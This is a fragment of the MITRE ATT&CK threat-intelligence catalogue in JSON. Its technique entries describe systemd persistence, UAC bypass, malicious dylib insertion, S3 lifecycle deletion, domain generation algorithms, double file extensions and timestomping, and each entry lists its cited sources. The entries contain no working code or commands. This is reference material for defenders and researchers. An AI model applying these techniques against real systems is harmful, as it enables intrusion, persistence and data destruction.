            "description": "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target\u2019s subdomains, mail servers, and other hosts. DNS MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)\n\nAdversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also use DNS zone transfer (DNS query type AXFR) to collect all records from a misconfigured DNS server.(Citation: Trails-DNS)(Citation: DNS-CISA)(Citation: Alexa-dns)",
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            "created": "2019-04-23T15:34:30.008Z",
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                    "url": "https://attack.mitre.org/techniques/T1501",
                    "external_id": "T1501"
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                {
                    "source_name": "Linux man-pages: systemd January 2014",
                    "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.",
                    "url": "http://man7.org/linux/man-pages/man1/systemd.1.html"
                },
                {
                    "source_name": "Freedesktop.org Linux systemd 29SEP2018",
                    "description": "Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019.",
                    "url": "https://www.freedesktop.org/wiki/Software/systemd/"
                },
                {
                    "source_name": "Anomali Rocke March 2019",
                    "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.",
                    "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang"
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                {
                    "source_name": "gist Arch package compromise 10JUL2018",
                    "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.",
                    "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a"
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                    "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018",
                    "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.",
                    "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/"
                },
                {
                    "source_name": "acroread package compromised Arch Linux Mail 8JUL2018",
                    "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.",
                    "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html"
                },
                {
                    "source_name": "Rapid7 Service Persistence 22JUNE2016",
                    "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019.",
                    "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence"
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            "name": "Systemd Service",
            "description": "Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. Each service unit file may contain numerous directives that can execute system commands. \n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)",
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                    "url": "https://attack.mitre.org/techniques/T1485/001",
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                {
                    "source_name": "AWS Storage Lifecycles",
                    "description": "AWS. (n.d.). Managing the lifecycle of objects. Retrieved September 25, 2024.",
                    "url": "https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lifecycle-mgmt.html"
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                {
                    "source_name": "GCP Storage Lifecycles",
                    "description": "Google Cloud. (n.d.). Object Lifecycle Management. Retrieved September 25, 2024.",
                    "url": "https://cloud.google.com/storage/docs/lifecycle"
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                {
                    "source_name": "Halcyon AWS Ransomware 2025",
                    "description": "Halcyon RISE Team. (2025, January 13). Abusing AWS Native Services: Ransomware Encrypting S3 Buckets with SSE-C. Retrieved March 18, 2025.",
                    "url": "https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c"
                },
                {
                    "source_name": "Azure Storage Lifecycles",
                    "description": "Microsoft Azure. (2024, July 3). Configure a lifecycle management policy. Retrieved September 25, 2024.",
                    "url": "https://learn.microsoft.com/en-us/azure/storage/blobs/lifecycle-management-policy-configure?tabs=azure-portal"
                },
                {
                    "source_name": "Palo Alto Cloud Ransomware",
                    "description": "Ofir Balassiano and Ofir Shaty. (2023, November 29). Ransomware in the Cloud: Breaking Down the Attack Vectors. Retrieved September 25, 2024.",
                    "url": "https://www.paloaltonetworks.com/blog/prisma-cloud/ransomware-data-protection-cloud/"
                },
                {
                    "source_name": "Datadog S3 Lifecycle CloudTrail Logs",
                    "description": "Stratus Red Team. (n.d.). CloudTrail Logs Impairment Through S3 Lifecycle Rule. Retrieved September 25, 2024.",
                    "url": "https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/"
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            "description": "Adversaries may modify the lifecycle policies of a cloud storage bucket to destroy all objects stored within.  \n\nCloud storage buckets often allow users to set lifecycle policies to automate the migration, archival, or deletion of objects after a set period of time.(Citation: AWS Storage Lifecycles)(Citation: GCP Storage Lifecycles)(Citation: Azure Storage Lifecycles) If a threat actor has sufficient permissions to modify these policies, they may be able to delete all objects at once. \n\nFor example, in AWS environments, an adversary with the `PutLifecycleConfiguration` permission may use the `PutBucketLifecycle` API call to apply a lifecycle policy to an S3 bucket that deletes all objects in the bucket after one day.(Citation: Palo Alto Cloud Ransomware)(Citation: Halcyon AWS Ransomware 2025) In addition to destroying data for purposes of extortion and [Financial Theft](https://attack.mitre.org/techniques/T1657), adversaries may also perform this action on buckets storing cloud logs for [Indicator Removal](https://attack.mitre.org/techniques/T1070).(Citation: Datadog S3 Lifecycle CloudTrail Logs)",
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                    "url": "https://attack.mitre.org/techniques/T1514",
                    "external_id": "T1514"
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                {
                    "source_name": "AppleDocs AuthorizationExecuteWithPrivileges",
                    "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.",
                    "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg"
                },
                {
                    "source_name": "Death by 1000 installers; it's all broken!",
                    "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.",
                    "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8"
                },
                {
                    "source_name": "Carbon Black Shlayer Feb 2019",
                    "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.",
                    "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/"
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                {
                    "source_name": "OSX Coldroot RAT",
                    "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.",
                    "url": "https://objective-see.com/blog/blog_0x2A.html"
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            "name": "Elevated Execution with Prompt",
            "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating.  This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)",
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                    "external_id": "T1123"
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                {
                    "source_name": "ESET Attor Oct 2019",
                    "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020.",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1543",
                    "external_id": "T1543"
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                {
                    "source_name": "AppleDocs Launch Agent Daemons",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                },
                {
                    "source_name": "TechNet Services",
                    "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.",
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                {
                    "source_name": "OSX Malware Detection",
                    "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved November 17, 2024.",
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                    "url": "https://attack.mitre.org/techniques/T1133",
                    "external_id": "T1133"
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                {
                    "source_name": "Volexity Virtual Private Keylogging",
                    "description": "Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.",
                    "url": "https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/"
                },
                {
                    "source_name": "MacOS VNC software for Remote Desktop",
                    "description": "Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021.",
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                {
                    "source_name": "Unit 42 Hildegard Malware",
                    "description": "Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/"
                },
                {
                    "source_name": "Russian threat actors dig in, prepare to seize on war fatigue",
                    "description": "Microsoft Threat Intelligence. (2023, December 7). Russian threat actors dig in, prepare to seize on war fatigue. Retrieved June 18, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/security-insider/intelligence-reports/russian-threat-actors-dig-in-prepare-to-seize-on-war-fatigue"
                },
                {
                    "source_name": "The BadPilot campaign",
                    "description": "Microsoft Threat Intelligence. (2025, February 12). The BadPilot campaign: Seashell Blizzard subgroup conducts multiyear global access operation. Retrieved June 18, 2025.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2025/02/12/the-badpilot-campaign-seashell-blizzard-subgroup-conducts-multiyear-global-access-operation/?ref=thestack.technology"
                },
                {
                    "source_name": "Trend Micro Exposed Docker Server",
                    "description": "Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html"
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            "modified": "2026-05-12T15:12:00.621Z",
            "name": "External Remote Services",
            "description": "Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn\u2019t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)\n\nAdversaries may also establish persistence on network by configuring a Tor hidden service on a compromised system. Adversaries may utilize the tool `ShadowLink` to facilitate the installation and configuration of the Tor hidden service. Tor hidden service is then accessible via the Tor network because `ShadowLink` sets up a .onion address on the compromised system. `ShadowLink` may be used to forward any inbound connections to RDP, allowing the adversaries to have remote access.(Citation: The BadPilot campaign) Adversaries may get `ShadowLink` to persist on a system by masquerading it as an MS Defender application.(Citation: Russian threat actors dig in, prepare to seize on war fatigue)",
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                {
                    "source_name": "SanDisk SMART",
                    "description": "SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018."
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                    "source_name": "SmartMontools",
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                    "source_name": "ITWorld Hard Disk Health Dec 2014",
                    "description": "Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.",
                    "url": "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html"
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            "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.",
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                    "source_name": "Malware Persistence on OS X",
                    "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                },
                {
                    "source_name": "Writing Bad Malware for OSX",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
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            "description": "Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time.(Citation: Malware Persistence on OS X)",
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            "created": "2019-10-08T20:04:35.508Z",
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                    "url": "https://attack.mitre.org/techniques/T1539",
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                {
                    "source_name": "Krebs Discord Bookmarks 2023",
                    "description": "Brian Krebs. (2023, May 30). Discord Admins Hacked by Malicious Bookmarks. Retrieved January 2, 2024.",
                    "url": "https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/"
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                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/"
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                    "source_name": "Kaspersky TajMahal April 2019",
                    "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019.",
                    "url": "https://securelist.com/project-tajmahal/90240/"
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                    "source_name": "Github evilginx2",
                    "description": "Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.",
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                    "source_name": "GitHub Mauraena",
                    "description": "Orr\u00f9, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019.",
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                    "source_name": "Pass The Cookie",
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
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                    "source_name": "Talos Roblox Scam 2023",
                    "description": "Tiago Pereira. (2023, November 2). Attackers use JavaScript URLs, API forms and more to scam users in popular online game \u201cRoblox\u201d. Retrieved January 2, 2024.",
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                {
                    "source_name": "Kubernetes CronJob",
                    "description": "The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021.",
                    "url": "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/"
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                    "source_name": "Kubernetes Jobs",
                    "description": "The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021.",
                    "url": "https://kubernetes.io/docs/concepts/workloads/controllers/job/"
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                {
                    "source_name": "Threat Matrix for Kubernetes",
                    "description": "Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.",
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                    "url": "https://attack.mitre.org/techniques/T1568/002",
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                {
                    "source_name": "Elastic Predicting DGA",
                    "description": "Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.",
                    "url": "https://arxiv.org/pdf/1611.00791.pdf"
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                {
                    "source_name": "Talos CCleanup 2017",
                    "description": "Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.",
                    "url": "http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html"
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                {
                    "source_name": "Pace University Detecting DGA May 2017",
                    "description": "Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.",
                    "url": "http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf"
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                {
                    "source_name": "FireEye POSHSPY April 2017",
                    "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"
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                {
                    "source_name": "ESET Sednit 2017 Activity",
                    "description": "ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019.",
                    "url": "https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/"
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                {
                    "source_name": "Data Driven Security DGA",
                    "description": "Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019.",
                    "url": "https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/"
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                {
                    "source_name": "Akamai DGA Mitigation",
                    "description": "Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019.",
                    "url": "https://medium.com/@yvyuz/a-death-match-of-domain-generation-algorithms-a5b5dbdc1c6e"
                },
                {
                    "source_name": "Cisco Umbrella DGA",
                    "description": "Scarfo, A. (2016, October 10). Domain Generation Algorithms \u2013 Why so effective?. Retrieved February 18, 2019.",
                    "url": "https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/"
                },
                {
                    "source_name": "Cybereason Dissecting DGAs",
                    "description": "Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019.",
                    "url": "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf"
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                {
                    "source_name": "Unit 42 DGA Feb 2019",
                    "description": "Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/"
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            "description": "Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or \u201cgibberish\u201d strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)",
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                {
                    "source_name": "SOCPrime DoubleExtension",
                    "description": "Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021.",
                    "url": "https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/"
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                    "source_name": "PCMag DoubleExtension",
                    "description": "PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021.",
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            "name": "Double File Extension",
            "description": "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system\u2019s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user\u2019s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.",
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                {
                    "source_name": "Davidson Windows",
                    "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.",
                    "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html"
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                {
                    "source_name": "TechNet How UAC Works",
                    "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works"
                },
                {
                    "source_name": "SANS UAC Bypass",
                    "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.",
                    "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass"
                },
                {
                    "source_name": "MSDN COM Elevation",
                    "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.",
                    "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx"
                },
                {
                    "source_name": "enigma0x3 Fileless UAC Bypass",
                    "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.",
                    "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/"
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                {
                    "source_name": "TechNet Inside UAC",
                    "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.",
                    "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx"
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                {
                    "source_name": "Fortinet Fareit",
                    "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.",
                    "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware"
                },
                {
                    "source_name": "Github UACMe",
                    "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.",
                    "url": "https://github.com/hfiref0x/UACME"
                }
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            "modified": "2026-05-12T15:12:00.621Z",
            "name": "Bypass User Account Control",
            "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "type": "attack-pattern",
            "id": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a",
            "created": "2017-05-31T21:31:12.675Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1099",
                    "external_id": "T1099"
                },
                {
                    "source_name": "WindowsIR Anti-Forensic Techniques",
                    "description": "Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.",
                    "url": "http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html"
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            "modified": "2026-04-14T22:53:15.450Z",
            "name": "Timestomp",
            "description": "Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)",
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
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            "id": "attack-pattern--130d4494-b2d6-4040-bcea-6e59f05222fe",
            "created": "2024-09-25T13:53:19.586Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1496/003",
                    "external_id": "T1496.003"
                },
                {
                    "source_name": "AWS RE:Inforce Threat Detection 2024",
                    "description": "Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.",
                    "url": "https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"
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                {
                    "source_name": "Twilio SMS Pumping",
                    "description": "Twilio. (2024, April 10). What Is SMS Pumping Fraud and How to Stop It. Retrieved September 25, 2024.",
                    "url": "https://www.twilio.com/en-us/blog/sms-pumping-fraud-solutions"
                },
                {
                    "source_name": "Twilio SMS Pumping Fraud",
                    "description": "Twilio. (n.d.). What is SMS Pumping Fraud?. Retrieved September 25, 2024.",
                    "url": "https://www.twilio.com/docs/glossary/what-is-sms-pumping-fraud"
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            "name": "SMS Pumping",
